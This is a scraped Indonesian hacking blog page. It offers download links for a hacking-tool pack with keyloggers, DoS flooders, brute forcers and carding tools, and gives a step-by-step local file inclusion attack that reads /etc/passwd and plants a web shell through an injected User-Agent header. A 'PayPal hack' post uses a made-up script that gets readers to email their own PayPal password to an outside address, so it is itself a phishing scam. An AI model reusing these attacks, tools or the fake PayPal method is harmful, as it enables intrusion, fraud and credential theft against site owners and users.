1) Perhatikan dengan benar link address websitenya. Contoh klo FB linknya: 
 
<blink><a href="http://www.facebook.com/" target="_blank" title="Linkification:
 http://www.facebook.com">http://www.facebook.com</a> </blink> 
2) Jangan pernah membuka link atau bahasa pemograman (CSS, XTML, XML, atau 
HTML) yang aneh. Jika di klik, kemungkinan account kita akan memberikan 
username dan password kita. 
3) Pakailah virtual keyboard yang bisa diperoleh dengan mudah. 
Untuk Windows tampilan XP, hanya cukup klik ’start’ -> All Programs -> 
Accessories -> Accessibility -> ‘On-Screen Keyboard’ 
Untuk Windows tampilan bukan XP, hanya cukup klik ’start’ -> Program Files 
-> Accessories -> Accessibility -> ‘On-Screen Keyboard’ 
4) Bila bermain di Warung Internet (Warnet), hindari check-list kotak 
“Remember me” pada saat login, karena hal itu dapat menyimpan username 
dan password di komputer tersebut. Kecuali memakai komputer pribadi. 
5) Jika anda tiba-tiba diminta login ulang, sebaiknya hati hati, karena kemungkinan halaman pe-login ulang tersebut adalah halaman palsu yang sengaja dirancang. Kekekeke.. 
sumber: 
 
<blink>http://www.binushacker.net </blink>

Hack FAcebook

“cuma sekedar pengetahuan” don’t be a black hat hacker but be a white hat hacker!!!!!!!!! Hack Facebook Dengan Fake Login? Kenapa Tidak…...

lengkapnya

3:54 PM

CD Hacking Tools 2007

<img align="left" alt="CD Hacking
 Tools 2007 Gratis tutorial hacking" border="0" class="caption" height="158" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2LsoS3b6mOO9iRhtL4Upw2jBDjdsr85arziO-4Oyy1lx9qe3KJJZQQ-KcyyvpmRWh9rAjGHEVbmvtl_f0pwxYDSdhx6fvbXAHA3Oz2LA_cf4FWpCEtp-2CCbeh1Y46ScA4FTY-1YNq90_/s320/2j28gm1.jpg" title="CD Hacking Tools 2007 Gratis tutorial hacking" width="210" />CD Hacking Tools ( Mirror was Updated ) 
XxxPass-Team 2007 
Danger Cracking & Hacking Tools - Ver 1.0 
- Exploit Collection (4 Tools) 
- Google Hacking (4 Tools) 
- Keyloggers (5 Tools) 
- Binder & Packer (15 Tools) 
- Flood_DOS (20 Tools) 
- Messenger (11 Tools) 
- Bruter (9 Tools) 
- Anonimity (1 Tool) 
- !!! $$$ !!! (13 Tools) 
- AIO 
Exploit Collection 
1. 10377 Exploit 
2. SMF ShoutBox Xss & HTML Injection 
3. SMF Ultimate Shoutbox Cookie Disclosure Exploit 
4. Firefox_BuG 
<div style="text-align: right;">Messenger</div><div> </div><div style="text-align: right;">1. MSN Extreme 3.0 
2. MSN Spy Lite v1.0 
3. Yahoo Hack! 
4. Hotmail Email Hacker 
5. Hotmail Hacker Gold 
6. HotmailHack 
7. YahooUltraCracker 
8. winks,moods,mugins,weemees and meegos + Installer 
9. MSN Messenger Account Cracker v2.0 
10. SH Yahoo Pass Sender 1.1 
11. Yahoo Password Decoder</div><div style="text-align: right;"> </div><div style="text-align: left;">Google Hacking</div><div> </div><div style="text-align: left;">1. Alt GooGle 
2. Google Version 1.2 
3. Google H4ck3r (3 programs) 
4. GooLink</div><div style="text-align: right;"> </div><div style="text-align: right;">Keyloggers</div><div style="text-align: right;"> </div><div style="text-align: right;">1. Elgolf 1.0 Beta 
2. ESK KeyLogger 
3. Glog Keylogger 
4. HermanAgent 
5. IKlogger0.1</div>Bbruter 
1. WebCrack v4.0 
2. Brutus 
3. Crack FTP 
4. FTP Brute Hacker 
5. phpbb bruteforcer 
6. PhpBB Pass Extractor 
7. phpBB Cracker 
8. Email Cracker 
9. FTP Brute Forcer 
<div style="text-align: right;">!!! $$$ !!!</div><div> </div><div style="text-align: right;">1. Cmaster 
2. CC Verify 
3. CWizard 
4. THCC 
5. Visa Card Generator 06 
6. Carcabot_Mass_Email 
7. CcHack 
8. CC-Fake 
9. cvv2c 
10. DesertCVV2 
11. id-fake 
12. Paypal-Link-Spoofed 
13. HoW to get Credit Cards Fresh and Fastest</div>AIO 
1. Uploader for All 
2. Cool Small Usefull Dp 
<div style="text-align: right;">Flood DOS</div><div> </div><div style="text-align: right;">1. Flowbabeflow 
2. FreeSiteKiller V 2.01 
3. Webxgrab 
4. Web Attacker ENG 
5. TheRapist-Dos Attacker 
6. HybridFlood2 
7. Ati-russ 3.0 
8. Http Bomber v1.001b 
9. Sprut 
10. DoS_5 
11. etherflood 
12. DoSAttacker 
13. phpBB Dos 
14. phpBB Attacker 
15. Ping Attack 
16. Site Nuke 
17. Divine Intervention 
18. UC Forum Spammer 
19. Inferno Nuker 
20. Multiple Site Flood</div><div style="text-align: right;"> 
</div><div style="text-align: left;"> 
 
<blink>Download CD Hacking Tools 2007: </blink> <a href="http://rapidshare.com/files/85433778/XxxPass-C_H_Ver1.0-_2007-part1_up_by_juur.xup.pl.part1.rar">part1</a><><a href="http://rapidshare.com/files/85426770/XxxPass-C_H_Ver1.0-_2007-part1_up_by_juur.xup.pl.part2.rar">Part2</a></div><div style="text-align: left;"> 
</div><div style="text-align: left;"> 
 
<blink>http://www.ilmuwebsite.com </blink></div>

CD Hacking Tools 2007

CD Hacking Tools ( Mirror was Updated ) XxxPass-Team 2007 Danger Cracking & Hacking Tools - Ver 1.0 - Exploit Collection (4 Tools) ...

lengkapnya

3:41 PM

100 Tools Hacking

<img align="left" alt="Ebook: Menggunakan 
100 Tools Hacking tutorial hacking" border="0" class="caption" height="208" src="http://pic.leech.it/i/dba37/d9c38464000d719dme.jpg" title="Ebook: 
Menggunakan 100 Tools Hacking tutorial hacking" width="168" />(Update Ebook New Version) Satu lagi sumber kekuatan para IT Security, dan sumber yang di cari-cari oleh para newbie yang ingin tau lebih dalam teknik-teknik hacking/cracking, ada satu ebook yang patut dijadikan rujukan. Ebook ini berjudul "Anti-Hacker Toolkit". Dalam buku ini dijelaskan secara mendetil bagaimana cara menggunakan lebih dari 100 tools hacking. Penjelasannya secara teknis cukup mudah untuk dimengerti dan diikuti. Selain membawakan penjelasan tools dalam menyerang, disini juga dijelaskan topik mengenai mendeteksi adanya serangan dan menangani serangan tersebut. Topik-topik yang dibahas antara lain port scanners, vulnerability scanners, password crackers, and war dialers. 
 
Toolsnya antara lain Netcat, Nessus, Tripwire, John the Ripper, and the Forensic Toolkit. Silahkan di unduh disini ... 
 
 
 
<div style="text-align: center;"><blink>Download  : </blink><a href="http://www1038.megaupload.com/files/dabc93e823563795804c28af6f1d4105/Anti-Hacker.Toolkit.3rd.Ed.ebook-Spy.rar">100 Tools Hacking</a></div><div style="text-align: center;"><div style="text-align: center;"> Sumber : <blink> </blink></div><div style="text-align: center;"><blink>http://www.ilmuwebsite.com</blink></div><blink> </blink></div> 
<h2 style="font-weight: normal;"> 
</h2><h2 style="font-weight: normal;"> 
</h2>

100 Tools Hacking

(Update Ebook New Version) Satu lagi sumber kekuatan para IT Security, dan sumber yang di cari-cari oleh para newbie yang ingin tau lebih...

lengkapnya

3:35 PM

Tools Hacking : Metasploit Framework v. 3.3

<img alt="Rilis: Metasploit Framework v. 3.3 tutorial hacking" height="147" src="http://www.metasploit.com/images/hax_small.jpg" style="float: left; margin-right: 8px;" title="Rilis: 
Metasploit Framework v. 3.3 tutorial hacking" width="206" />Kurang lebih 10 hari sebelum artikel <a href="http://www.ilmuwebsite.com/hacking/http://julpeack-ajmi.blogspot.com/search/label/Hacking">hacking</a> news ini ditulis, metasploit merilis kembali versi terbaru dari senjata pamungkas para penetration tester. Bagi anda yang belum mengetahui senjata pamungkas yang satu ini, Metasploit merupakan sebuah tools hacking untuk melakukan penetration testing dimana dalam framework ini terdapat banyak exploit yang siap pakai, tools yang satu ini bekerja mulai dari memanfaatkan celah sistem operasi, hingga celah aplikasi. Terdapat 120 exploit terbaru, dan lebih dari 100 module, dan 180 patch yang dapat digunakan langsung secara bebas. 
 
Metasploit mirip dengan tools hacking lainnya, bagai Swiss Army Knife yang memiliki dua mata pisau, dimana satu sisi berguna untuk melindungi diri dari serangan dengan mencari-cari celah dan menambalnya, di sisi yang lain, metasploit apabila digunakan oleh tangan-tangan muda dan jahil maka akan terjadi hal destruktif yang merugikan banyak tentunya. 
Kepada para admin, rajin-rajinlah mempatch sistem anda. 
Lain kali penulis akan coba membahas lebih dalam mengenai Metasploit Framework, bagi anda yang ingin mengunduh dan mencoba untuk bersenang-senang dengan database metasploit yang terbaru silahkan langsung kunjungi website offisialnya 
 
 
 
<blink>Download  : </blink> <a href="http://www.metasploit.com/releases/framework-3.4.0.exe">framework-3.4.0</a> 
 
Sumber : 
 
<blink>http://www.ilmuwebsite.com: </blink> 
<a href="http://www.metasploit.com/framework/download/" rel="nofollow" target="_blank"> 
</a>

Tools Hacking : Metasploit Framework v. 3.3

Kurang lebih 10 hari sebelum artikel hacking news ini ditulis, metasploit merilis kembali versi terbaru dari senjata pamungkas para pene...

lengkapnya

3:28 PM

Tanam Shell via LFI dengan Metode Proc/Self/Environ

<div class="separator" style="clear: both; text-align: center;"><a href="http://t3.gstatic.com/images?q=tbn:rdbXAPNGJ02v3M:http://polishrail.files.wordpress.com/2009/01/hacking.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="http://t3.gstatic.com/images?q=tbn:rdbXAPNGJ02v3M:http://polishrail.files.wordpress.com/2009/01/hacking.jpg" /></a></div> 
Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas  sebelumnya di website milw0rm pada paper ke 361. 
Ok kita langsung saja... 
1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI. 
contoh : http://site.com/info.php?file=news.php 
2. coba kita ganti "news.php" dengan "../../../". 
contoh : http://site.com/info.php?file=../../../ 
lalu kita mendapat error, seperti berikut... 
Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99 
ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain. 
selanjutanya kita coba temukan /etc/passwd. 
contoh : http://site.com/info.php?file=etc/passwd 
Tetapi kita masih mendapat error seperti berikut : 
Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99 
bagaimana jika kita naikan directorynya ? 
mari kita coba... 
contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd 
Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut : 
root:x:0:0:root:/root:/bin/bash 
daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
bin:x:2:2:bin:/bin:/bin/sh 
sys:x:3:3:sys:/dev:/bin/sh 
sync:x:4:65534:sync:/bin:/bin/sync 
games:x:5:60:games:/usr/games:/bin/sh 
man:x:6:12:man:/var/cache/man:/bin/sh 
lp:x:7:7:lp:/var/spool/lpd:/bin/sh 
mail:x:8:8:mail:/var/mail:/bin/sh 
news:x:9:9:news:/var/spool/news:/bin/sh 
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh 
proxy:x:13:13:proxy:/bin:/bin/sh 
www-data:x:33:33:www-data:/var/www:/bin/sh 
backup:x:34:34:backup:/var/backups:/bin/sh 
list:x:38:38:Mailing List Manager:/var/list:/bin/sh 
irc:x:39:39:ircd:/var/run/ircd:/bin/sh 
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh 
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh 
libuuid:x:100:101::/var/lib/libuuid:/bin/sh 
syslog:x:101:102::/home/syslog:/bin/false 
klog:x:102:103::/home/klog:/bin/false 
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false 
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false 
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false 
saned:x:106:113::/home/saned:/bin/false 
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false 
messagebus:x:108:117::/var/run/dbus:/bin/false 
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false 
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false 
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false 
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash 
snmp:x:112:65534::/var/lib/snmp:/bin/false 
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash 
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin 
3. mari kita check apakah /proc/self/environ bisa kita akses ? 
sekarang, ganti "/etc/passwd" dengan "/proc/self/environ" 
contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ 
Jika anda mendapatkan yang seperti ini : 
DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, 
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, 
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac 
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd 
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15 
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron 
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php 
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com 
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= 
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k 
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80 
Ternyata proc/self/environ dapat kita akses ! 
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD 
4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon. 
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966 
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi "http://site.com/info.php?file=../../../../../../../../../proc/self/environ" 
lalu pada user-agent isikan dengan kode berikut : 
 
atau 
 
lalu submit. 
5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini. 
http://www.site.com/shell.php 
happy hacking ! 
 
 
 
<blink>Sumber : </blink> <a href="http://www.ilmuwebsite.com/">http://www.ilmuwebsite.com</a>

Tanam Shell via LFI dengan Metode Proc/Self/Environ

Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode pr...

lengkapnya

3:22 PM

Hack password Wifi

<div class="separator" style="clear: both; text-align: center;"><a href="http://i24.tinypic.com/1zcdb8j.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="230" src="http://i24.tinypic.com/1zcdb8j.jpg" width="320" /></a></div> 
 
 
 
 
 
 
 
 
 
 Ini postinganku yang ke dua tentang Hacking Wifi. Kali ini Software yang saya perkenalkan adalah WKG (Saya juga ngga tahu kepanjangannya, hihi...). Anehnya, Kegunaan Software ini bukan untuk jebol Wireless, tetapi memberitahu Password Wireless/Wifi tersebut. Jika ingin lihat Screen Shootnya disini: <a href="http://hackcenter.files.wordpress.com/2009/12/wireless.jpg?w=300&h=168" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://hackcenter.files.wordpress.com/2009/12/wireless.jpg?w=300&h=168" /></a> 
Maaf, karena Software ini saya ambil dari: hackcenter.wordpress.com. 
Jika anda sudah tidak sabar untuk mencobanya, download saja <a href="http://www.ziddu.com/download/8006067/WKGwww.hackcenter.wordpress.com.exe.html">Download here!</a> 
maaf disini ngga ada panduannya karena saya belum mencobanya (malas, hehe...) Ayo cepat download Software ini sebelum software ini di Block oleh pihak Ziddunya... 
Keep Hacking Bro...(<a href="http://hackcenter.wordpress.com/">http://hackcenter.wordpress.com/</a>) 
 
Saya meminta maaf sebesar-besarnya kepada pihak Hotspotnya karena saya sudah mengajarkan yang tidak selayaknya untuk ditiru...

Hack password Wifi

Ini postinganku yang ke dua tentang Hacking Wifi. Kali ini Software yang saya perkenalkan adalah WKG (Saya juga ngga tahu kepan...

lengkapnya

3:16 PM

Situs Penyedia Crack Serial $ Keygen

Situs Penyedia Crack Serial $ Keygen

This summary is not available. Please click here to view the post.

lengkapnya

2:26 PM

Cara Bobol Account Paypal

<div class="separator" style="clear: both; text-align: center;"><a href="http://ferdimanakamu.files.wordpress.com/2010/10/paypal.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="264" src="http://ferdimanakamu.files.wordpress.com/2010/10/paypal.jpg" width="320" /></a></div><h3 class="post-title entry-title" style="color: #cc6600; font-family: Georgia, serif; font-size: 18px; font-weight: normal; line-height: 1.4em; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0.25em; padding-bottom: 4px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">Seketat-ketatnya suatu sistem keamanan, tidak ada yang sempurna 100%, masih ada celah-celah yang bisa kita masuki. seperti paypal, sistem keamanan ketatnya selalu kejar-kejaran dengan para hacker di dunia.</h3><div class="post-body entry-content" style="color: #333333; font-family: Georgia, serif; font-size: 13px; line-height: 1.6em; margin-bottom: 0.75em; margin-left: 0px; margin-right: 0px; margin-top: 0px;"><div style="text-align: justify;">disaat hacker berhasil memasuki database paypal. paypal memperbaiki sistem keamanannya. setelah itu, hacker kembali mencari celah dan berhasil memasuki databasenya. dan seperti itu seterusnya. sebelum artikel ini di-update, database paypal bisa ditembus dengan string pada URL nya. tapi kini, kesalahan itu sudah diperbaiki. but, masih ada kelemahan paypal buat para hacker untuk menembus database paypal. yaitu, mailerbootnya. jadi begini, saat ini kita memang tidak bisa memasuki database paypal. tapi, kita bisa me-hack mailerboot paypal untuk meminta data-data dari mailerboot paypal. anda tidak perlu menciptakan sendiri code pengconfuse paypal ini. Karena, indocracker.wetpaint.com sudah menyediakan bagi anda. silahkan ikuti petunjuk dibawah ini. anda tidak perlu ragu dengan kami. karena, anda bisa melihat bukti prinstscreen keberhasilan.</div> 
<div style="text-align: justify;">Cara mengcrack yang akan kami ajarkan kepada anda adalah cara mengcrack tingkat tinggi karena disini anda akan kami ajarkan bahasa pemograman demi mendukung pencurian account pay pal ini. tapi, sebelum anda me-hack paypal, pastikan akun paypal anda sudah verified. Metode pengcrackkan ini sangat rahasia dan tidak akan terlacak bila anda mengikuti saran-saran 
dan langkah-langkah yang saya ajarkan dengan benar dan baik. Saya tidak menjamin metode ini berhasil karena, ada kemungkinan perusahaan paypal telah memperbaiki kelemahan sistemnya. </div> 
Baiklah, Kita mulai Saja! 
<div style="text-align: justify;">setelah member mendaftar di paypal, maka paypal mengirim e-mail yang meminta membernya untuk memasukkan informasi kartu kredit. Setelah member memasukkan informasi kartu kredit, maka paypal otomatis mengirim kembali informasi-informasi itu ke dalam mailerbot. Dalam kasus ini kita memakai mailerbot berakthru. NAHH!! yang akan kita crack adalah, kita akan membuat "confused" yahoo maillerbot sehingga kita bisa mendapatkan informasi-informasi tentang username/password yang tersimpan di servernya. untuk melakukannya, silahkan ikuti intruksi dan petunjuk-petunjuk berikut. tapi ingat!!! tolong ikuti saran-saran kami:</div> 
1. masuklah(log in) ke account paypal anda 
2. Klik "street address" yang terletak di bawah "account information" 
3. disana anda akan melihat e-mail yang anda masukkan ketika mendaftar paypal. hafalkan alamat e-mail anda tersebut itu. lalu masuk ke e-mail anda yang lain (dalam hal ini, yahoo). 
Sebelum anda mengikuti intruksi selanjutnya, syarat-syarat yang harus anda penuhi adalah: 
a. Anda harus telah mengkonfirmasikan credit card /debit card Yang tanggal kadaluarsa (Exp date) nya 
3 bulan lagi ke dalam account anda tersebut, dengan kata lain, account paypal anda harus "verified". 
Tapi ingat, sekali lagi.. kartu kredit atau debit yang anda masukkan ke akun paypal anda harus memiliki tanggal kadaluarsa atau exp date minimal 3 bulan dari sekarang. ini adalah salah satu trik paypal agar database mailerbootnya tidak dicuri. 
 
Persyaratan anda tersebut harus anda ikuti karena anda tidak bisa mengakses mailerbot yang menyimpan informasi tentang user lainnya jika anda sendiri saja belum masuk ke mailerbot itu sendiri. 
dan jika anda telah mengkonfirmasi credit card atau paypal anda telah terverifikasi, maka secara otomatis anda telah disimpan di mailerbot paypal. 
4. oke!!! paypal SAAT INI memiliki 2 mailerbot . yaitu, yahoo dan hotmail 
kita mulai dengan anda yang menggunakan yahoo!. masuklah ke e-mail yahoo anda tersebut: 
 
 
Subjek: service534paypal78verif-De24 (untuk membuat bingung yahoo mailerbot) 
Kirim : service_intlpaypal@ymail.com (layanan e-mail paypal) 
di bagian isi surat. tulis seperti yang dibawah ini. sama persis dan ikuti saran-sarannya. 
 
 
In line 1: Content-Type: text/plain; 
In line 2: charset=us-ascii (Untuk membuat balasan dari paypal bisa dibaca (tidak berbentuk bahasa pemograman)) 
In line 3: address000%%confirmation0e24.yaIn 
In line 4: p38ylec00rm::s%%http://www.paypal.com/%% (untuk membuat mailerbot meminta kembali infomasi dari paypal) 
In line 5: e-mail paypal anda(saya meminta anda untuk masuk ke email yahoo anda yang lain adalah agar anda tidak dianggap spam/hacker sehingga tidak ada tanggapan dari paypal. jadi, dengan anda memasukkan email (yang sudah terkonfirmasi ke paypal) maka, anda tidak akan dianggap spam dan hacker. karena, anda telah terdaftar sebagai member paypal. .) 
In line 6: start (retrieve > 0) (untuk memfungsikan mailerbot yahoo) 
In line 7: verified (*value= = float) (untuk membuat mailerbot berfungsi walau ada proteksi dari paypal) 
In line 8: PayPal password anda (sekarang masukkan password paypal anda sehingga anda tidak dianggap spam/hacker, sehingga otomatis mailerbot akan mengirim informasi-informasi user lainnya ke e-mail paypal anda dengan valid..) 
In line 9: #searchmsgend%EcHvld%%hr# (untuk mendapatkan informasi-informasi user Secara acak) 
In line 10 send&&idR20394-tsa-0583 (membuat mailerbot mengirimkan semua informasi-informasinya ke e-mail anda) 
In line 11 #endofmsg (langkah terakhir) 
in line 12: #IP=#136.112.213:8080# = value(untuk mengubah IP address anda demi keamanan anda) 
 
Nb: Jangan merubah sedikitpun scrpt diatas, atau tidak akan bekerja. dan hapuslah tulisan "line 1...12" 
 
Setelah anda mengirim e-mail tersebut.. tunggu beberapa menit dan periksa e-mail anda. Ini hasil printscreen 
e-mail balasan dari mailerboot yang confused:</div>

Cara Bobol Account Paypal

Seketat-ketatnya suatu sistem keamanan, tidak ada yang sempurna 100%, masih ada celah-celah yang bisa kita masuki. seperti paypal, sistem ke...

lengkapnya

5:40 PM

Memblokir Website dengan Notepad

<div class="post_content"> <div class="snap_preview">Kali ini, saya ingin menunjukkan anda bagaimana caranya memblokir 
Website lainnya pada komputer anda. Ini bisa digunakan untuk memblokir 
Website, misalnya Facebook, pada komputer kantor, sekolah, dsb. tanpa 
harus berurusan dengan server, DNS, dan sebagainya. 
Sebenarnya, 
ini tidak benar – benar terblokir. Yang sebenarnya terjadi adalah, saat 
anda masuk ke website (misalnya Facebook), secara otomatis akan 
di-redirect ke website lain, misalnya ke website http://www.virspector.uk.to. 
Tapi tetap saja, orang tidak bisa membuka website tersebut, kecuali 
menggunakan Proxy. Tapi, bisa saja kalau mau, anda cari di Google “Free 
Proxy” dan blokir semua website Proxy yang ada (Biarpun susah). 
Nah, 
kita mulai saja tutorialnya. Sebagai contoh, saya akan memblokir 
Facebook, bila membuka Facebook, yang terbuka adalah http://www.virspector.uk.to 
[STEP 
1] Buka dengan Notepad x:/Windows/system32/drivers/etc/hosts (Sesuaikan 
X dengan tempat anda menginstall Windows anda). Jangan lupa bahwa 
Notepadnya harus terbuka dalam mode Run as Administrator, kalau tidak, 
anda akan susah untuk meng-save nantinya 
[STEP 2] Minimize dulu Notepad. Sekarang tekan Logo 
Windows + R (Bersamaan) atau klik Start > Run dan ketik cmd 
[STEP 
3] Sekarang, karena kita ingin me-redirect Facebook ke http://www.virspector.uk.to, 
maka ketikkan ping http://www.virspector.uk.to 
[STEP 4] Lihat bagian yang saya kelilingi warna Merah? 
Itu adalah IP dari http://www.virspector.uk.to. Sekarang, catat terlebih 
dahulu, lalu kita kembali ke window Notepad 
[STEP 5] Karena kita 
ingin memblokir Facebook, maka yang kita lakukan adalah menambahkan 2 
buah baris, yaitu: 
* {tab} 66.96.243.71 {tab} facebook.com 
* {tab} 66.96.243.71 {tab} http://www.facebook.com 
Note: {tab} maksudnya adalah 
menekan tombol TAB pada Keyboard 
[STEP 6] Sudah selesai sekarang! Save filenya sekarang, 
lalu buka Web Browser dan coba ketikkan http://www.facebook.com atau 
facebook.com dan lihat hasilnya. Secara otomatis ke redirect ke http://www.virspector.uk.to. 
Keren bukan??? Kalau tidak mau, coba restart browsernya 
Selamat 
Mencoba 
Note: Ingat bahwa Facebook memiliki banyak Sub-Domain, 
misalnya lite.facebook.com, m.facebook.com, jadi, jangan lupa untuk 
menambahkan itu juga ke file hostsnya, kalau tidak, sang user bisa saja 
memanfaatkan web tersebut untuk dipakai Facebookan. 
</div></div>

Memblokir Website dengan Notepad

Kali ini, saya ingin menunjukkan anda bagaimana caranya memblokir Website lainnya pada komputer anda. Ini bisa digunakan untuk mem...

lengkapnya

3:54 PM